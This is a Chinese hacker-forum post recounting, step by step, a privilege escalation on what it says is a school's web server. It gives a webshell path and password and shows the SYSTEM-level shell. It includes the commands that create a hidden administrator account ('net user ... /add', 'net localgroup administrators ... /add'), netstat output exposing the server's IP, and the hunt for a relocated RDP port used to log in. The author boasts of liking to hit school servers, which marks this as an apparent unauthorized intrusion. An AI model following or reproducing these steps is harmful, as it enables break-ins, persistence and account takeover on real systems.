黑帽联盟

 找回密码
 会员注册
查看: 2953|回复: 0
打印 上一主题 下一主题

[系统安全] 一次php环境下的提权

[复制链接]

295

主题

18

听众

965

积分

管理员

Rank: 9Rank: 9Rank: 9

  • TA的每日心情
    难过
    3 天前
  • 签到天数: 370 天

    [LV.9]以坛为家II

    Shell:http://案例/student/inc/hack/help.php
    Pass:silic
    拿到shell,先执行了下DOS命令,如图:
    12.png


    可以成功执行,只是没看到administrator,有点奇怪,看了一下这几个用户的权限,发现windsasc是管理员,如图:
    13.png


    这只是个小插曲,无关提权。
    然后看了下权限,震惊了一下,看图:
    14.png


    直接是system啊,那还不是想干嘛就干嘛了?
    这种情况真不多,虽然php在安装的时候默认是以system权限运行的,但是现在国内用Php的一般都做了降权处理的,一般都是user权限,不会是默认的system权限,但是这里出现了一个另类,这个站是学校的站,我一直喜欢提学校的服务器,因为学校的服务器权限限制一般都不会很变态,这里正好遇到个另类,我喜欢。
    顺便提一下,asp的web的权限一般都是guest,aspx和php的web一般都是user,jsp的web一般都是system。
    但是这个例子因为管理员的疏忽大意,导致我们拿到的php的web的权限直接是system,那这权就好提了。

    直接添加用户就行了,如图:
    15.png
    看图,没有回显。

    一般的命令执行成功会给出提示的,但是这里没有提示,那就说明命令没有成功执行,不信那就回去看一下现在都有哪些用户:
    16.png

    没有drvfan这个用户,那就说明命令确实没有成功执行。
    这里遇到了壁垒,不要慌,整理一下思路,我们前边执行net user是成功的,说明管理员没有对net.exe做手脚,但是这里添加用户不成功,那就应该是服务器的安全策略的问题了,说简单点,也就是添加用户的时候,用户的密码不能太简单,太简单服务器会拒绝添加,这时候我们只需要把要添加的用户密码设置复杂一点就可以了,最好是数字+字母+符号的组合,并且最低要是14位,好了,分析完了,我们现在再来试试,现在的命令是这样的:
    net user drvfan drv!!!25.0**20 /add


    我们的密码符合上边我说的要求,好了,来执行吧:
    17.png
    成功了。
    OK,说明我们的思路是正确的,下面把这个用户添加到管理员组:

    net localgroup administrators drvfan /add
    如图:
    18.png
    OK,提权完毕。


    现在连一下3389:
    19.png
    连不上,出现这种错误,有2种可能:
    1、服务器没开远程桌面,直接本地管理的
    2、远程桌面默认端口被修改了
    但是,根据经验,一般都是第二种原因,我们来看一下服务器都开了哪些端口:
    20.png
    一张图显示不完,我直接把结果贴上来吧:
      Proto  Local Address          Foreign Address        State
      TCP    0.0.0.0:7              0.0.0.0:0              LISTENING
      TCP    0.0.0.0:9              0.0.0.0:0              LISTENING
      TCP    0.0.0.0:13             0.0.0.0:0              LISTENING
      TCP    0.0.0.0:17             0.0.0.0:0              LISTENING
      TCP    0.0.0.0:19             0.0.0.0:0              LISTENING
      TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
      TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
      TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
      TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING
      TCP    0.0.0.0:1280           0.0.0.0:0              LISTENING
      TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING
      TCP    0.0.0.0:6059           0.0.0.0:0              LISTENING
      TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING
      TCP    127.0.0.1:1028         0.0.0.0:0              LISTENING
      TCP    127.0.0.1:3295         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3296         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3297         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3298         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3299         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3300         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3301         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3302         127.0.0.1:3306         TIME_WAIT
      TCP    127.0.0.1:3306         127.0.0.1:3139         LAST_ACK
      TCP    127.0.0.1:3306         127.0.0.1:3159         LAST_ACK
      TCP    127.0.0.1:3306         127.0.0.1:3181         LAST_ACK
      TCP    127.0.0.1:3306         127.0.0.1:3184         LAST_ACK
      TCP    127.0.0.1:3306         127.0.0.1:3272         LAST_ACK
      TCP    127.0.0.1:3306         127.0.0.1:3284         LAST_ACK
      TCP    127.0.0.1:3306         127.0.0.1:3286         LAST_ACK
      TCP    210.44.36.11:80        61.135.249.211:11496   TIME_WAIT
      TCP    210.44.36.11:80        61.135.249.211:16431   TIME_WAIT
      TCP    210.44.36.11:80        61.135.249.211:48703   TIME_WAIT
      TCP    210.44.36.11:80        61.135.249.211:58504   ESTABLISHED
      TCP    210.44.36.11:80        114.232.158.200:4453   TIME_WAIT
      TCP    210.44.36.11:80        119.189.116.34:2941    ESTABLISHED
      TCP    210.44.36.11:80        122.78.211.165:27948   ESTABLISHED
      TCP    210.44.36.11:80        192.168.15.249:1928    ESTABLISHED
      TCP    210.44.36.11:80        203.208.60.198:57457   ESTABLISHED
      TCP    210.44.36.11:80        218.28.124.194:1162    ESTABLISHED
      TCP    210.44.36.11:80        222.171.177.98:51344   ESTABLISHED
      TCP    210.44.36.11:139       0.0.0.0:0              LISTENING
      UDP    0.0.0.0:7              *:*
      UDP    0.0.0.0:9              *:*
      UDP    0.0.0.0:13             *:*
      UDP    0.0.0.0:17             *:*
      UDP    0.0.0.0:19             *:*
      UDP    0.0.0.0:1645           *:*
      UDP    0.0.0.0:1646           *:*
      UDP    0.0.0.0:1812           *:*
      UDP    0.0.0.0:1813           *:*
      UDP    127.0.0.1:123          *:*
      UDP    127.0.0.1:1026         *:*
      UDP    127.0.0.1:1027         *:*
      UDP    210.44.36.11:123       *:*
      UDP    210.44.36.11:137       *:*
      UDP    210.44.36.11:138       *:*
    要知道,一般的,管理员就算改了远程桌面的端口,也是大于1024的端口,所以我们只用找找大于1024的端口即可。

    找到了下面几个可疑端口:
    1025,1029,1280,3306,6059,47001

    这几个找到的端口里,3306是mysql数据库的默认端口,并且已经确定这个网站用的是mysql数据库,看一下网站的数据库连接文件吧:
    21.png
    可以看到,确实是用的mysql,那么3306端口就被排除了。

    剩下的几个端口,如果不出意外,其中就有一个是远程桌面的端口,那么,一个一个试吧,我在试到1280端口的时候,出现了登陆界面,如图:
    22.png


    OK,万事俱备,登陆吧:
    23.png
    OK,提权完毕。
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部